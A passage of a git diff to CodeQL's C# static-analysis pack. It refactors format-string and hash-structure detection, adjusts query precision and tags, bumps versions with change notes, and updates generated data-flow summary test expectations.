this.getArgument(this.getFormatArgument()) } /** Gets the argument number containing the format string. */ int getFormatArgument() { result = this.getTarget().(FormatMethod).getFormatArgument() } @@ -289,3 +302,14 @@ class FormatCall extends MethodCall { result = this.getArgument(this.getFirstArgument() + index) } } + +/** + * A method call to `System.Text.CompositeFormat.Parse`. + */ +class ParseFormatStringCall extends FormatStringParseCallImpl { + ParseFormatStringCall() { + this.getTarget() = any(SystemTextCompositeFormatClass x).getParseMethod() + } + + override Expr getFormatExpr() { result = this.getArgument(0) } +} diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll index 24c1277af026..35b23ffc18e8 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/collections/Generic.qll @@ -159,6 +159,15 @@ class SystemCollectionsGenericIDictionaryInterface extends SystemCollectionsGene } } +/** The ``System.Collections.Generic.IReadOnlyDictionary`2`` interface. */ +class SystemCollectionsGenericIReadOnlyDictionaryInterface extends SystemCollectionsGenericUnboundGenericInterface +{ + SystemCollectionsGenericIReadOnlyDictionaryInterface() { + this.hasName("IReadOnlyDictionary`2") and + this.getNumberOfTypeParameters() = 2 + } +} + /** The ``System.Collections.Generic.IReadOnlyCollection`1`` interface. */ class SystemCollectionsGenericIReadOnlyCollectionTInterface extends SystemCollectionsGenericUnboundGenericInterface { @@ -176,3 +185,11 @@ class SystemCollectionsGenericIReadOnlyListTInterface extends SystemCollectionsG this.getNumberOfTypeParameters() = 1 } } + +/** The ``System.Collections.Generic.HashSet`1`` class. */ +class SystemCollectionsGenericHashSetClass extends SystemCollectionsGenericUnboundGenericClass { + SystemCollectionsGenericHashSetClass() { + this.hasName("HashSet`1") and + this.getNumberOfTypeParameters() = 1 + } +} diff --git a/csharp/ql/src/API Abuse/CallToGCCollect.ql b/csharp/ql/src/API Abuse/CallToGCCollect.ql index 6a42c4e71f6a..1757336d32af 100644 --- a/csharp/ql/src/API Abuse/CallToGCCollect.ql +++ b/csharp/ql/src/API Abuse/CallToGCCollect.ql @@ -7,6 +7,7 @@ * @id cs/call-to-gc * @tags efficiency * maintainability + * quality */ import csharp diff --git a/csharp/ql/src/API Abuse/FormatInvalid.ql b/csharp/ql/src/API Abuse/FormatInvalid.ql index 056730a577df..2bcd15612eea 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.ql +++ b/csharp/ql/src/API Abuse/FormatInvalid.ql @@ -16,22 +16,6 @@ import semmle.code.csharp.frameworks.system.Text import semmle.code.csharp.frameworks.Format import FormatFlow::PathGraph -abstract class FormatStringParseCall extends MethodCall { - abstract Expr getFormatExpr(); -} - -class OrdinaryFormatCall extends FormatStringParseCall instanceof FormatCall { - override Expr getFormatExpr() { result = FormatCall.super.getFormatExpr() } -} - -class ParseFormatStringCall extends FormatStringParseCall { - ParseFormatStringCall() { - this.getTarget() = any(SystemTextCompositeFormatClass x).getParseMethod() - } - - override Expr getFormatExpr() { result = this.getArgument(0) } -} - module FormatInvalidConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLiteral } diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index a73c77f224f7..4eabf64f6a57 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,16 @@ +## 1.2.2 + +No user-facing changes. + +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. + ## 1.2.0 ### Query Metadata Changes diff --git a/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql b/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql index a2fe7cf2290e..0cc3f9cfca26 100644 --- a/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql +++ b/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql @@ -4,7 +4,7 @@ * @kind problem * @problem.severity warning * @security-severity 7.5 - * @precision medium + * @precision low * @id cs/password-in-configuration * @tags security * external/cwe/cwe-013 diff --git a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql index b794700e79b0..78cce5126dfc 100644 --- a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql +++ b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql @@ -8,6 +8,7 @@ * @id cs/missed-readonly-modifier * @tags maintainability * language-features + * quality */ import csharp @@ -19,13 +20,17 @@ predicate defTargetsField(AssignableDefinition def, Field f) { predicate isReadonlyCompatibleDefinition(AssignableDefinition def, Field f) { defTargetsField(def, f) and ( - def.getEnclosingCallable().(Constructor).getDeclaringType() = f.getDeclaringType() + def.getEnclosingCallable().(StaticConstructor).getDeclaringType() = f.getDeclaringType() + or + def.getEnclosingCallable().(InstanceConstructor).getDeclaringType() = f.getDeclaringType() and + def.getTargetAccess().(QualifiableExpr).getQualifier() instanceof ThisAccess or def instanceof AssignableDefinitions::InitializerDefinition ) } predicate canBeReadonly(Field f) { + exists(Type t | t = f.getType() | not t instanceof Struct or t.(Struct).isReadonly()) and forex(AssignableDefinition def | defTargetsField(def, f) | isReadonlyCompatibleDefinition(def, f)) } diff --git a/csharp/ql/src/Likely Bugs/HashedButNoHash.ql b/csharp/ql/src/Likely Bugs/HashedButNoHash.ql index 195c0e3a0560..9948def013c9 100644 --- a/csharp/ql/src/Likely Bugs/HashedButNoHash.ql +++ b/csharp/ql/src/Likely Bugs/HashedButNoHash.ql @@ -11,24 +11,44 @@ import csharp import semmle.code.csharp.frameworks.System +import semmle.code.csharp.frameworks.system.Collections +import semmle.code.csharp.frameworks.system.collections.Generic -predicate dictionary(ConstructedType constructed) { - exists(UnboundGenericType dict | - dict.hasFullyQualifiedName("System.Collections.Generic", "Dictionary`2") and - constructed = dict.getAConstructedGeneric() +/** + * Holds if `t` is a dictionary type. + */ +predicate dictionary(ValueOrRefType t) { + exists(Type base | base = t.getABaseType*().getUnboundDeclaration() | + base instanceof SystemCollectionsGenericIDictionaryInterface or + base instanceof SystemCollectionsGenericIReadOnlyDictionaryInterface or + base instanceof SystemCollectionsIDictionaryInterface ) } -predicate hashtable(Class c) { c.hasFullyQualifiedName("System.Collections", "Hashtable") } +/** + * Holds if `c` is a hashset type. + */ +predicate hashSet(ValueOrRefType t) { + t.getABaseType*().getUnboundDeclaration() instanceof SystemCollectionsGenericHashSetClass +} -predicate hashstructure(Type t) { hashtable(t) or dictionary(t) } +predicate hashStructure(Type t) { dictionary(t) or hashSet(t) } -predicate hashAdd(Expr e) { +/** + * Holds if the expression `e` relies on `GetHashCode()` implementation. + * That is, if the call assumes that `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()`. + */ +predicate usesHashing(Expr e) { exists(MethodCall mc, string name | - (name = "Add" or name = "ContainsKey") and + name = ["Add", "Contains", "ContainsKey", "Remove", "TryAdd", "TryGetValue"] and mc.getArgument(0) = e and mc.getTarget().hasName(name) and - hashstructure(mc.getTarget().getDeclaringType()) + hashStructure(mc.getTarget().getDeclaringType()) + ) + or + exists(IndexerCall ic | + ic.getArgument(0) = e and + dictionary(ic.getTarget().getDeclaringType()) ) } @@ -46,7 +66,7 @@ predicate hashCall(Expr e) { from Expr e, Type t where - (hashAdd(e) or hashCall(e)) and + (usesHashing(e) or hashCall(e)) and e.getType() = t and eqWithoutHash(t) select e, diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql index a027170dc372..b99839226c59 100644 --- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -20,7 +20,7 @@ module FormatStringConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink) { - sink.asExpr() = any(FormatCall call | call.hasInsertions()).getFormatExpr() + sink.asExpr() = any(FormatStringParseCall call).getFormatExpr() } } diff --git a/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql b/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql index 09f4bdca26bf..32508fa9d3fb 100644 --- a/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql +++ b/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id cs/hardcoded-connection-string-credentials * @tags security * external/cwe/cwe-259 diff --git a/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql b/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql index d4291c90fb23..d0aed008261b 100644 --- a/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql +++ b/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id cs/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 000000000000..2751be1db8ae --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,8 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md new file mode 100644 index 000000000000..7b520f6c258f --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.2.md @@ -0,0 +1,3 @@ +## 1.2.2 + +No user-facing changes. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 75430e73d1c4..0a70a9a01a7e 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.2 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 74065d9e9d3f..24cacd047ce0 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.0 +version: 1.2.2 groups: - csharp - queries diff --git a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 4d56c922a397..6030960a1a78 100644 --- a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -10,5 +10,5 @@ import internal.CaptureModels import SummaryModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index 60d7b42a46df..bcf061eed45e 100644 --- a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -15,7 +15,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index a53958ad0e6d..096aea1790e6 100644 --- a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,16 +11,15 @@ import csharp import utils.modelgenerator.internal.CaptureModels import SummaryModels -import Heuristic -import PropagateFlow::PathGraph +import Heuristic::PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + Heuristic::PropagateTaintFlow::PathNode source, Heuristic::PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + Heuristic::PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + Heuristic::captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index b0300e4a87f1..db3d72bd27bb 100644 --- a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -124,13 +124,13 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig::paramReturnNodeAsOutput(c, pos) + string paramReturnNodeAsApproximateOutput(CS::Callable c, ParameterPosition pos) { + result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) } bindingset[c] - string paramReturnNodeAsContentOutput(Callable c, ParameterPosition pos) { - result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) + string paramReturnNodeAsExactOutput(Callable c, ParameterPosition pos) { + result = ParamReturnNodeAsOutput::paramReturnNodeAsOutput(c, pos) } ParameterPosition getReturnKindParamPosition(ReturnKind kind) { diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll index baba462c8a24..84cb0db45da8 100644 --- a/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll +++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureTypeBasedSummaryModels.qll @@ -39,7 +39,7 @@ private predicate localTypeParameter(Callable callable, TypeParameter tp) { */ private predicate parameter(Callable callable, string input, TypeParameter tp) { exists(Parameter p | - input = ModelGeneratorInput::parameterAccess(p) and + input = ModelGeneratorInput::parameterApproximateAccess(p) and p = callable.getAParameter() and ( // Parameter of type tp diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected index 21fcfa594e61..c3eb0402922c 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummaries.expected @@ -1553,6 +1553,7 @@ summary | Microsoft.AspNetCore.Mvc;MvcViewOptions;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | Microsoft.AspNetCore.Mvc;RemoteAttributeBase;FormatErrorMessage;(System.String);Argument[0];ReturnValue;taint;dfc-generated | | Microsoft.AspNetCore.Mvc;RemoteAttributeBase;FormatErrorMessage;(System.String);Argument[this].Property[System.ComponentModel.DataAnnotations.ValidationAttribute.ErrorMessageString];ReturnValue;taint;dfc-generated | +| Microsoft.AspNetCore.Mvc;RemoteAttributeBase;IsValid;(System.Object);Argument[0];Argument[this];taint;df-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddBasePolicy;(System.Action);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddBasePolicy;(System.Action,System.Boolean);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.AspNetCore.OutputCaching;OutputCacheOptions;AddPolicy;(System.String,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -1882,9 +1883,9 @@ summary | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];Argument[0];taint;manual | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];ReturnValue;taint;manual | | Microsoft.Extensions.Configuration;ConfigurationBinder;Bind;(Microsoft.Extensions.Configuration.IConfiguration,System.Object,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object);Argument[3];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.String,T);Argument[2];ReturnValue;value;dfc-generated | @@ -6740,7 +6741,7 @@ summary | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IEnumerable,System.Collections.Concurrent.EnumerablePartitionerOptions);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IList,System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(TSource[],System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -6777,7 +6778,7 @@ summary | System.Collections.Frozen;FrozenDictionary;set_Item;(TKey,TValue);Argument[1];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Frozen;FrozenSet;Create;(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | @@ -6924,8 +6925,12 @@ summary | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Generic;LinkedList;Add;(T);Argument[0];Argument[this].Element;value;manual | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];ReturnValue;taint;df-generated | @@ -6937,6 +6942,7 @@ summary | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];ReturnValue;taint;df-generated | @@ -6953,8 +6959,9 @@ summary | System.Collections.Generic;LinkedList;LinkedList;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;LinkedList;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | +| System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;get_First;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];ReturnValue;value;dfc-generated | -| System.Collections.Generic;LinkedList;get_Last;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;get_Last;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedList;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedListNode;LinkedListNode;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedListNode;get_List;();Argument[this];ReturnValue;taint;df-generated | @@ -7446,13 +7453,13 @@ summary | System.Collections.Immutable;ImmutableArray;Slice;(System.Int32,System.Int32);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];Argument[0];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;ToBuilder;();Argument[this].Element;ReturnValue.Element;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element;ReturnValue;value;dfc-generated | @@ -7565,13 +7572,16 @@ summary | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| 